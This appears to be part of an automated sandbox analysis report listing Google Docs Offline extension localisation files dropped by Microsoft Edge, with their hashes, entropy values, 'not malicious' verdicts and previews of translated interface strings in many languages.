Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

